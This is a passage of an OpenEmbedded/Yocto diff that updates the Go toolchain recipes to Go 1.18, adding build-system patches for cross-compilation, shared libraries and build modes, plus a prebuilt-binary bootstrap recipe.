+index 57a3c1f..825d8c7 100644
+--- a/src/cmd/go/internal/cfg/cfg.go
++++ b/src/cmd/go/internal/cfg/cfg.go
+@@ -67,7 +67,11 @@ func defaultContext() build.Context {
+ // variables. This matches the initialization of ToolDir in
+ // go/build, except for using ctxt.GOROOT rather than
+ // runtime.GOROOT.
+- build.ToolDir = filepath.Join(ctxt.GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
++ if s := os.Getenv("GOTOOLDIR"); s != "" {
++ build.ToolDir = filepath.Clean(s)
++ } else {
++ build.ToolDir = filepath.Join(ctxt.GOROOT, "pkg/tool/"+runtime.GOOS+"_"+runtime.GOARCH)
++ }
+ }
+
+ ctxt.GOPATH = envOr("GOPATH", ctxt.GOPATH)
diff --git a/meta/recipes-devtools/go/go-1.18/0004-ld-add-soname-to-shareable-objects.patch b/meta/recipes-devtools/go/go-1.18/0004-ld-add-soname-to-shareable-objects.patch
new file mode 100644
index 0000000000..cd875f1164
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0004-ld-add-soname-to-shareable-objects.patch
@@ -0,0 +1,45 @@
+From bf5cf5301ae5914498454c87293d1df2e1d8489f Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:16:32 +0430
+Subject: [PATCH 4/9] ld: add soname to shareable objects
+
+so that OE's shared library dependency handling
+can find them.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+---
+ src/cmd/link/internal/ld/lib.go | 3 +++
+ 1 file changed, 3 insertions(+)
+
+--- a/src/cmd/link/internal/ld/lib.go
++++ b/src/cmd/link/internal/ld/lib.go
+@@ -1343,6 +1343,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ if ctxt.HeadType == objabi.Hwindows {
+ if *flagAslr {
+ argv = addASLRargs(argv)
+@@ -1358,6 +1359,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ case BuildModePlugin:
+ if ctxt.HeadType == objabi.Hdarwin {
+ argv = append(argv, "-dynamiclib")
+@@ -1366,6 +1368,7 @@ func (ctxt *Link) hostlink() {
+ argv = append(argv, "-Wl,-z,relro")
+ }
+ argv = append(argv, "-shared")
++ argv = append(argv, fmt.Sprintf("-Wl,-soname,%s", filepath.Base(*flagOutfile)))
+ }
+ }
+
diff --git a/meta/recipes-devtools/go/go-1.18/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch b/meta/recipes-devtools/go/go-1.18/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
new file mode 100644
index 0000000000..2845d21382
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch
@@ -0,0 +1,41 @@
+From 153e2dda6103fd9dd871be4bb495a8da5328301e Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:17:16 +0430
+Subject: [PATCH] make.bash: override CC when building dist and go_bootstrap
+
+for handling OE cross-canadian builds.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
+---
+ src/make.bash | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/make.bash b/src/make.bash
+index 7986125..dd67029 100755
+--- a/src/make.bash
++++ b/src/make.bash
+@@ -181,7 +181,7 @@ if [ "$GOROOT_BOOTSTRAP" = "$GOROOT" ]; then
+ exit 1
+ fi
+ rm -f cmd/dist/dist
+-GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
++CC="${BUILD_CC:-${CC}}" GOROOT="$GOROOT_BOOTSTRAP" GOOS="" GOARCH="" GO111MODULE=off "$GOROOT_BOOTSTRAP/bin/go" build -o cmd/dist/dist ./cmd/dist
+
+ # -e doesn't propagate out of eval, so check success by hand.
+ eval $(./cmd/dist/dist env -p || echo FAIL=true)
+@@ -206,7 +206,7 @@ fi
+ # Run dist bootstrap to complete make.bash.
+ # Bootstrap installs a proper cmd/dist, built with the new toolchain.
+ # Throw ours, built with Go 1.4, away after bootstrap.
+-./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
++CC="${BUILD_CC:-${CC}}" ./cmd/dist/dist bootstrap -a $vflag $GO_DISTFLAGS "$@"
+ rm -f ./cmd/dist/dist
+
+ # DO NOT ADD ANY NEW CODE HERE.
diff --git a/meta/recipes-devtools/go/go-1.12/0006-cmd-dist-separate-host-and-target-builds.patch b/meta/recipes-devtools/go/go-1.18/0006-cmd-dist-separate-host-and-target-builds.patch
index 0c0d5da80a..68e8efc1d2 100644
--- a/meta/recipes-devtools/go/go-1.12/0006-cmd-dist-separate-host-and-target-builds.patch
+++ b/meta/recipes-devtools/go/go-1.18/0006-cmd-dist-separate-host-and-target-builds.patch
@@ -1,8 +1,10 @@
-From fe0fcaf43ef3aab81541dad2a71b46254dc4cf6a Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Sat, 17 Feb 2018 10:03:48 -0800
+From 7bc891e00be4263311d75aa2b2ee6a3b7b75355f Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:18:12 +0430
Subject: [PATCH] cmd/dist: separate host and target builds
+Upstream-Status: Inappropriate [OE specific]
+
Change the dist tool to allow for OE-style cross-
and cross-canadian builds:
@@ -27,29 +29,29 @@ the staleness checks in the dist tool will fail if the "std"
library has not also been built. So host-only builds have to
build everything anyway.
-Upstream-Status: Inappropriate [OE specific]
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
-Signed-off-by: Matt Madison <matt@madison.systems>
-
-more dist cleanup
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
---
- src/cmd/dist/build.go | 153 ++++++++++++++++++++++++++++++------------
- 1 file changed, 111 insertions(+), 42 deletions(-)
+ src/cmd/dist/build.go | 156 ++++++++++++++++++++++++++++++------------
+ 1 file changed, 113 insertions(+), 43 deletions(-)
-Index: go/src/cmd/dist/build.go
-===================================================================
---- go.orig/src/cmd/dist/build.go
-+++ go/src/cmd/dist/build.go
-@@ -39,6 +39,7 @@ var (
- goldflags string
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index d82f612..5c8459c 100644
+--- a/src/cmd/dist/build.go
++++ b/src/cmd/dist/build.go
+@@ -43,6 +43,7 @@ var (
+ goexperiment string
workdir string
tooldir string
-+ build_tooldir string
++ build_tooldir string
oldgoos string
oldgoarch string
exe string
-@@ -50,6 +51,7 @@ var (
+@@ -55,6 +56,7 @@ var (
rebuildall bool
defaultclang bool
@@ -57,52 +59,49 @@ Index: go/src/cmd/dist/build.go
vflag int // verbosity
)
-@@ -231,6 +233,8 @@ func xinit() {
+@@ -251,6 +253,8 @@ func xinit() {
if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
}
-+ build_tooldir = pathf("%s/pkg/tool/native_native", goroot)
+
++ build_tooldir = pathf("%s/pkg/tool/native_native", goroot)
}
// compilerEnv returns a map from "goos/goarch" to the
-@@ -260,7 +264,6 @@ func compilerEnv(envName, def string) ma
- if gohostos != goos || gohostarch != goarch {
- m[gohostos+"/"+gohostarch] = m[""]
- }
-- m[""] = env
- }
-
- for _, goos := range okgoos {
-@@ -487,8 +490,10 @@ func setup() {
- // We keep it in pkg/, just like the object directory above.
+@@ -496,8 +500,10 @@ func setup() {
+ p := pathf("%s/pkg/%s_%s", goroot, gohostos, gohostarch)
if rebuildall {
- xremoveall(tooldir)
+ xremoveall(p)
+ xremoveall(build_tooldir)
}
- xmkdirall(tooldir)
+ xmkdirall(p)
+ xmkdirall(build_tooldir)
- // Remove tool binaries from before the tool/gohostos_gohostarch
- xremoveall(pathf("%s/bin/tool", goroot))
-@@ -1155,11 +1160,29 @@ func cmdbootstrap() {
+ if goos != gohostos || goarch != gohostarch {
+ p := pathf("%s/pkg/%s_%s", goroot, goos, goarch)
+@@ -1267,17 +1273,35 @@ func cmdbootstrap() {
- var noBanner bool
+ var noBanner, noClean bool
var debug bool
+ var hostOnly bool
+ var targetOnly bool
-+ var toBuild = []string { "std", "cmd" }
++ var toBuild = []string{"std", "cmd"}
+
flag.BoolVar(&rebuildall, "a", rebuildall, "rebuild all")
flag.BoolVar(&debug, "d", debug, "enable debugging of bootstrap process")
flag.BoolVar(&noBanner, "no-banner", noBanner, "do not print banner")
+ flag.BoolVar(&noClean, "no-clean", noClean, "print deprecation warning")
+ flag.BoolVar(&hostOnly, "host-only", hostOnly, "build only host binaries, not target")
+ flag.BoolVar(&targetOnly, "target-only", targetOnly, "build only target binaries, not host")
- xflagparse(0)
+ xflagparse(-1)
-+
-+ if (hostOnly && targetOnly) {
+
+ if noClean {
+ xprintf("warning: --no-clean is deprecated and has no effect; use 'go install std cmd' instead\n")
+ }
+
++ if hostOnly && targetOnly {
+ fatalf("specify only one of --host-only or --target-only\n")
+ }
+ crossBuild = hostOnly || targetOnly
@@ -113,26 +112,27 @@ Index: go/src/cmd/dist/build.go
+ fatalf("package names not permitted without --host-only or --target-only\n")
+ }
+ }
-
- if debug {
- // cmd/buildid is used in debug mode.
-@@ -1207,8 +1230,13 @@ func cmdbootstrap() {
++
+ // Set GOPATH to an internal directory. We shouldn't actually
+ // need to store files here, since the toolchain won't
+ // depend on modules outside of vendor directories, but if
+@@ -1345,8 +1369,13 @@ func cmdbootstrap() {
xprintf("\n")
}
- gogcflags = os.Getenv("GO_GCFLAGS") // we were using $BOOT_GO_GCFLAGS until now
-- goldflags = os.Getenv("GO_LDFLAGS")
+- goldflags = os.Getenv("GO_LDFLAGS") // we were using $BOOT_GO_LDFLAGS until now
+ // For split host/target cross/cross-canadian builds, we don't
+ // want to be setting these flags until after we have compiled
+ // the toolchain that runs on the build host.
-+ if ! crossBuild {
++ if !crossBuild {
+ gogcflags = os.Getenv("GO_GCFLAGS") // we were using $BOOT_GO_GCFLAGS until now
-+ goldflags = os.Getenv("GO_LDFLAGS")
++ goldflags = os.Getenv("GO_LDFLAGS") // we were using $BOOT_GO_LDFLAGS until now
+ }
goBootstrap := pathf("%s/go_bootstrap", tooldir)
cmdGo := pathf("%s/go", gobin)
if debug {
-@@ -1237,7 +1265,11 @@ func cmdbootstrap() {
+@@ -1375,7 +1404,11 @@ func cmdbootstrap() {
xprintf("\n")
}
xprintf("Building Go toolchain2 using go_bootstrap and Go toolchain1.\n")
@@ -142,10 +142,10 @@ Index: go/src/cmd/dist/build.go
+ } else {
+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
+ }
+ // Now that cmd/go is in charge of the build process, enable GOEXPERIMENT.
+ os.Setenv("GOEXPERIMENT", goexperiment)
goInstall(goBootstrap, append([]string{"-i"}, toolchain...)...)
- if debug {
- run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-@@ -1274,50 +1306,84 @@ func cmdbootstrap() {
+@@ -1414,50 +1447,84 @@ func cmdbootstrap() {
}
checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
@@ -197,6 +197,8 @@ Index: go/src/cmd/dist/build.go
- timelog("build", "host toolchain")
- if vflag > 0 {
- xprintf("\n")
+- }
+- xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
+
+ if goos == oldgoos && goarch == oldgoarch {
+ // Common case - not setting up for cross-compilation.
@@ -228,8 +230,7 @@ Index: go/src/cmd/dist/build.go
+ os.Setenv("GOARCH", goarch)
+ os.Setenv("CC", compilerEnvLookup(defaultcc, goos, goarch))
+ xprintf("Building packages and commands for target, %s/%s.\n", goos, goarch)
- }
-- xprintf("Building packages and commands for host, %s/%s.\n", goos, goarch)
++ }
goInstall(goBootstrap, "std", "cmd")
checkNotStale(goBootstrap, "std", "cmd")
checkNotStale(cmdGo, "std", "cmd")
@@ -237,7 +238,12 @@ Index: go/src/cmd/dist/build.go
- timelog("build", "target toolchain")
- if vflag > 0 {
- xprintf("\n")
-- }
++ if debug {
++ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
++ run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
++ checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
++ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
+ }
- goos = oldgoos
- goarch = oldgoarch
- os.Setenv("GOOS", goos)
@@ -258,25 +264,20 @@ Index: go/src/cmd/dist/build.go
- run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
- checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
- copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ if debug {
-+ run("", ShowOutput|CheckExit, pathf("%s/compile", tooldir), "-V=full")
-+ run("", ShowOutput|CheckExit, pathf("%s/buildid", tooldir), pathf("%s/pkg/%s_%s/runtime/internal/sys.a", goroot, goos, goarch))
-+ checkNotStale(goBootstrap, append(toolchain, "runtime/internal/sys")...)
-+ copyfile(pathf("%s/compile4", tooldir), pathf("%s/compile", tooldir), writeExec)
-+ }
}
// Check that there are no new files in $GOROOT/bin other than
-@@ -1335,7 +1401,11 @@ func cmdbootstrap() {
+@@ -1474,8 +1541,11 @@ func cmdbootstrap() {
+ }
}
- // Remove go_bootstrap now that we're done.
+- // Remove go_bootstrap now that we're done.
- xremove(pathf("%s/go_bootstrap", tooldir))
+ // Except that for split host/target cross-builds, we need to
+ // keep it.
-+ if ! crossBuild {
++ if !crossBuild {
+ xremove(pathf("%s/go_bootstrap", tooldir))
+ }
- // Print trailing banner unless instructed otherwise.
- if !noBanner {
+ if goos == "android" {
+ // Make sure the exec wrapper will sync a fresh $GOROOT to the device.
diff --git a/meta/recipes-devtools/go/go-1.18/0007-cmd-go-make-GOROOT-precious-by-default.patch b/meta/recipes-devtools/go/go-1.18/0007-cmd-go-make-GOROOT-precious-by-default.patch
new file mode 100644
index 0000000000..4b4d0d4f3d
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0007-cmd-go-make-GOROOT-precious-by-default.patch
@@ -0,0 +1,104 @@
+From 9ba507e076c744f4d394418e4a849e68cd426a4a Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:18:56 +0430
+Subject: [PATCH 7/9] cmd/go: make GOROOT precious by default
+
+Upstream-Status: Inappropriate [OE specific]
+
+The go build tool normally rebuilds whatever it detects is
+stale. This can be a problem when GOROOT is intended to
+be read-only and the go runtime has been built as a shared
+library, since we don't want every application to be rebuilding
+the shared runtime - particularly in cross-build/packaging
+setups, since that would lead to 'abi mismatch' runtime errors.
+
+This patch prevents the install and linkshared actions from
+installing to GOROOT unless overridden with the GOROOT_OVERRIDE
+environment variable.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+---
+ src/cmd/go/internal/work/action.go | 3 +++
+ src/cmd/go/internal/work/build.go | 6 ++++++
+ src/cmd/go/internal/work/exec.go | 25 +++++++++++++++++++++++++
+ 3 files changed, 34 insertions(+)
+
+--- a/src/cmd/go/internal/work/action.go
++++ b/src/cmd/go/internal/work/action.go
+@@ -670,6 +670,9 @@ func (b *Builder) addTransitiveLinkDeps(
+ if p1 == nil || p1.Shlib == "" || haveShlib[filepath.Base(p1.Shlib)] {
+ continue
+ }
++ if goRootPrecious && (p1.Standard || p1.Goroot) {
++ continue
++ }
+ haveShlib[filepath.Base(p1.Shlib)] = true
+ // TODO(rsc): The use of ModeInstall here is suspect, but if we only do ModeBuild,
+ // we'll end up building an overall library or executable that depends at runtime
+--- a/src/cmd/go/internal/work/build.go
++++ b/src/cmd/go/internal/work/build.go
+@@ -167,6 +167,8 @@ See also: go install, go get, go clean.
+
+ const concurrentGCBackendCompilationEnabledByDefault = true
+
++var goRootPrecious bool = true
++
+ func init() {
+ // break init cycle
+ CmdBuild.Run = runBuild
+@@ -179,6 +181,10 @@ func init() {
+
+ AddBuildFlags(CmdBuild, DefaultBuildFlags)
+ AddBuildFlags(CmdInstall, DefaultBuildFlags)
++
++ if x := os.Getenv("GOROOT_OVERRIDE"); x != "" {
++ goRootPrecious = false
++ }
+ }
+
+ // Note that flags consulted by other parts of the code
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -468,6 +468,23 @@ func (b *Builder) build(a *Action) (err
+ return errors.New("binary-only packages are no longer supported")
+ }
+
++ if goRootPrecious && (a.Package.Standard || a.Package.Goroot) {
++ _, err := os.Stat(a.Package.Target)
++ if err == nil {
++ a.built = a.Package.Target
++ a.Target = a.Package.Target
++ a.buildID = b.fileHash(a.Package.Target)
++ a.Package.Stale = false
++ a.Package.StaleReason = "GOROOT-resident package"
++ return nil
++ }
++ a.Package.Stale = true
++ a.Package.StaleReason = "missing or invalid GOROOT-resident package"
++ if b.IsCmdList {
++ return nil
++ }
++ }
++
+ if err := b.Mkdir(a.Objdir); err != nil {
+ return err
+ }
+@@ -1520,6 +1537,14 @@ func BuildInstallFunc(b *Builder, a *Act
+ return err
+ }
+
++ if goRootPrecious && a.Package != nil {
++ p := a.Package
++ if p.Standard || p.Goroot {
++ err := fmt.Errorf("attempting to install package %s into read-only GOROOT", p.ImportPath)
++ return err
++ }
++ }
++
+ if err := b.Mkdir(a.Objdir); err != nil {
+ return err
+ }
diff --git a/meta/recipes-devtools/go/go-1.18/0008-use-GOBUILDMODE-to-set-buildmode.patch b/meta/recipes-devtools/go/go-1.18/0008-use-GOBUILDMODE-to-set-buildmode.patch
new file mode 100644
index 0000000000..4e5d5021d6
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0008-use-GOBUILDMODE-to-set-buildmode.patch
@@ -0,0 +1,42 @@
+From 971b5626339ce0c4d57f9721c9a81af566c5a044 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:19:26 +0430
+Subject: [PATCH 8/9] cmd/go: Use GOBUILDMODE to set buildmode
+
+Upstream-Status: Denied [upstream choose antoher solution: `17a256b
+cmd/go: -buildmode=pie for android/arm']
+
+While building go itself, the go build system does not support
+to set `-buildmode=pie' from environment.
+
+Add GOBUILDMODE to support it which make PIE executables the default
+build mode, as PIE executables are required as of Yocto
+
+Refers: https://groups.google.com/forum/#!topic/golang-dev/gRCe5URKewI
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Hongxu Jia <hongxu.jia@windriver.com>
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+---
+ src/cmd/go/internal/work/build.go | 8 +++++++-
+ 1 file changed, 7 insertions(+), 1 deletion(-)
+
+--- a/src/cmd/go/internal/work/build.go
++++ b/src/cmd/go/internal/work/build.go
+@@ -254,7 +254,13 @@ func AddBuildFlags(cmd *base.Command, ma
+
+ cmd.Flag.Var(&load.BuildAsmflags, "asmflags", "")
+ cmd.Flag.Var(buildCompiler{}, "compiler", "")
+- cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
++
++ if bm := os.Getenv("GOBUILDMODE"); bm != "" {
++ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", bm, "")
++ } else {
++ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
++ }
++
+ cmd.Flag.Var(&load.BuildGcflags, "gcflags", "")
+ cmd.Flag.Var(&load.BuildGccgoflags, "gccgoflags", "")
+ if mask&OmitModFlag == 0 {
diff --git a/meta/recipes-devtools/go/go-1.18/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch b/meta/recipes-devtools/go/go-1.18/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch
new file mode 100644
index 0000000000..f857b72234
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch
@@ -0,0 +1,94 @@
+From 66a45dae3af140662e17ef85c2e6fe40270a2553 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 22 Feb 2021 17:54:01 -0800
+Subject: [PATCH] Revert "cmd/go: make sure CC and CXX are absolute"
+
+OE uses CC/CXX values which consists of cmpiler and options together,
+secondly, the environment is canned so this check add little value to OE
+based builds
+
+Fixes go-runtime build issues
+
+go install: CXX environment variable is relative; must be absolute path: powerpc64le-yoe-linux-musl-g++ -mlittle-endian -mhard-float -m64 -mabi=elfv2 -mcpu=power9 -fstack-protector-strong -O2 -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security -Werror=format-security --sysroot=/mnt/b/yoe/master/build/tmp/work/ppc64p9le-yoe-linux-musl/go/1.16-r0/recipe-sysroot
+
+This reverts commit aa161e799df7e1eba99d2be10271e76b6f758142.
+
+Upstream-Status: Inappropriate [OE-Specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/cmd/go/internal/envcmd/env.go | 5 -----
+ src/cmd/go/internal/work/init.go | 6 ------
+ src/cmd/go/testdata/script/env_write.txt | 24 ------------------------
+ 3 files changed, 35 deletions(-)
+
+diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
+index ff6f0d8..43b94e7 100644
+--- a/src/cmd/go/internal/envcmd/env.go
++++ b/src/cmd/go/internal/envcmd/env.go
+@@ -457,11 +457,6 @@ func checkEnvWrite(key, val string) error {
+ if !filepath.IsAbs(val) && val != "" {
+ return fmt.Errorf("GOPATH entry is relative; must be absolute path: %q", val)
+ }
+- // Make sure CC and CXX are absolute paths
+- case "CC", "CXX", "GOMODCACHE":
+- if !filepath.IsAbs(val) && val != "" && val != filepath.Base(val) {
+- return fmt.Errorf("%s entry is relative; must be absolute path: %q", key, val)
+- }
+ }
+
+ if !utf8.ValidString(val) {
+diff --git a/src/cmd/go/internal/work/init.go b/src/cmd/go/internal/work/init.go
+index 37a3e2d..316b0cf 100644
+--- a/src/cmd/go/internal/work/init.go
++++ b/src/cmd/go/internal/work/init.go
+@@ -39,12 +39,6 @@ func BuildInit() {
+ cfg.BuildPkgdir = p
+ }
+
+- // Make sure CC and CXX are absolute paths
+- for _, key := range []string{"CC", "CXX"} {
+- if path := cfg.Getenv(key); !filepath.IsAbs(path) && path != "" && path != filepath.Base(path) {
+- base.Fatalf("go %s: %s environment variable is relative; must be absolute path: %s\n", flag.Args()[0], key, path)
+- }
+- }
+ }
+
+ func instrumentInit() {
+diff --git a/src/cmd/go/testdata/script/env_write.txt b/src/cmd/go/testdata/script/env_write.txt
+index b5e9739..566c876 100644
+--- a/src/cmd/go/testdata/script/env_write.txt
++++ b/src/cmd/go/testdata/script/env_write.txt
+@@ -129,30 +129,6 @@ go env -w GOTMPDIR=
+ go env GOTMPDIR
+ stdout ^$
+
+-# go env -w rejects relative CC values
+-[!windows] go env -w CC=/usr/bin/clang
+-go env -w CC=clang
+-[!windows] ! go env -w CC=./clang
+-[!windows] ! go env -w CC=bin/clang
+-[!windows] stderr 'go env -w: CC entry is relative; must be absolute path'
+-
+-[windows] go env -w CC=$WORK\bin\clang
+-[windows] ! go env -w CC=.\clang
+-[windows] ! go env -w CC=bin\clang
+-[windows] stderr 'go env -w: CC entry is relative; must be absolute path'
+-
+-# go env -w rejects relative CXX values
+-[!windows] go env -w CC=/usr/bin/cpp
+-go env -w CXX=cpp
+-[!windows] ! go env -w CXX=./cpp
+-[!windows] ! go env -w CXX=bin/cpp
+-[!windows] stderr 'go env -w: CXX entry is relative; must be absolute path'
+-
+-[windows] go env -w CXX=$WORK\bin\cpp
+-[windows] ! go env -w CXX=.\cpp
+-[windows] ! go env -w CXX=bin\cpp
+-[windows] stderr 'go env -w: CXX entry is relative; must be absolute path'
+-
+ # go env -w/-u checks validity of GOOS/ARCH combinations
+ env GOOS=
+ env GOARCH=
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/go/go-binary-native_1.17.8.bb b/meta/recipes-devtools/go/go-binary-native_1.17.8.bb
new file mode 100644
index 0000000000..1b85cd50d6
--- /dev/null
+++ b/meta/recipes-devtools/go/go-binary-native_1.17.8.bb
@@ -0,0 +1,46 @@
+# This recipe is for bootstrapping our go-cross from a prebuilt binary of Go from golang.org.
+
+SUMMARY = "Go programming language compiler (upstream binary for bootstrap)"
+HOMEPAGE = " http://golang.org/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+PROVIDES = "go-native"
+
+SRC_URI = "https://dl.google.com/go/go${PV}.${BUILD_GOOS}-${BUILD_GOARCH}.tar.gz;name=go_${BUILD_GOTUPLE}"
+SRC_URI[go_linux_amd64.sha256sum] = "980e65a863377e69fd9b67df9d8395fd8e93858e7a24c9f55803421e453f4f99"
+SRC_URI[go_linux_arm64.sha256sum] = "57a9171682e297df1a5bd287be056ed0280195ad079af90af16dcad4f64710cb"
+
+UPSTREAM_CHECK_URI = "https://golang.org/dl/"
+UPSTREAM_CHECK_REGEX = "go(?P<pver>\d+(\.\d+)+)\.linux"
+
+S = "${WORKDIR}/go"
+
+inherit goarch native
+
+do_compile() {
+ :
+}
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$1
+ cat <<END >${D}${bindir}/$1
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$1
+}
+
+do_install() {
+ find ${S} -depth -type d -name testdata -exec rm -rf {} +
+
+ install -d ${D}${bindir} ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${S}/ ${D}${libdir}/
+
+ for f in ${S}/bin/*
+ do
+ make_wrapper `basename $f`
+ done
+}
diff --git a/meta/recipes-devtools/go/go-common.inc b/meta/recipes-devtools/go/go-common.inc
index 93a3d3b5fb..83f8db7b39 100644
--- a/meta/recipes-devtools/go/go-common.inc
+++ b/meta/recipes-devtools/go/go-common.inc
@@ -14,7 +14,7 @@ LICENSE = "BSD-3-Clause"
inherit goarch
-SRC_URI = "http://golang.org/dl/go${PV}.src.tar.gz;name=main"
+SRC_URI = "https://golang.org/dl/go${PV}.src.tar.gz;name=main"
S = "${WORKDIR}/go"
B = "${S}"
UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.src\.tar"
@@ -23,10 +23,22 @@ INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
SSTATE_SCAN_CMD = "true"
export GOROOT_OVERRIDE = "1"
-export GOTMPDIR ?= "${WORKDIR}/go-tmp"
+export GOTMPDIR ?= "${WORKDIR}/build-tmp"
GOTMPDIR[vardepvalue] = ""
export CGO_ENABLED = "1"
-do_compile_prepend() {
+export GOHOSTOS ?= "${BUILD_GOOS}"
+export GOHOSTARCH ?= "${BUILD_GOARCH}"
+export GOROOT_BOOTSTRAP ?= "${STAGING_LIBDIR_NATIVE}/go"
+export GOOS ?= "${TARGET_GOOS}"
+export GOARCH ?= "${TARGET_GOARCH}"
+export GOARM ?= "${TARGET_GOARM}"
+export GO386 ?= "${TARGET_GO386}"
+export GOMIPS ?= "${TARGET_GOMIPS}"
+export GOROOT_FINAL ?= "${libdir}/go"
+
+export GODEBUG = "gocachehash=1"
+
+do_compile:prepend() {
BUILD_CC=${BUILD_CC}
}
diff --git a/meta/recipes-devtools/go/go-cross-canadian.inc b/meta/recipes-devtools/go/go-cross-canadian.inc
index 945d0f9d10..c1aa987427 100644
--- a/meta/recipes-devtools/go/go-cross-canadian.inc
+++ b/meta/recipes-devtools/go/go-cross-canadian.inc
@@ -13,11 +13,7 @@ DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDP
-fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
"
-export GOHOSTOS = "${BUILD_GOOS}"
-export GOHOSTARCH = "${BUILD_GOARCH}"
-export GOROOT_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/go"
export GOTOOLDIR_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/${HOST_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
-export GOROOT_FINAL = "${libdir}/go"
export CGO_CFLAGS = "${CFLAGS}"
export CGO_LDFLAGS = "${LDFLAGS}"
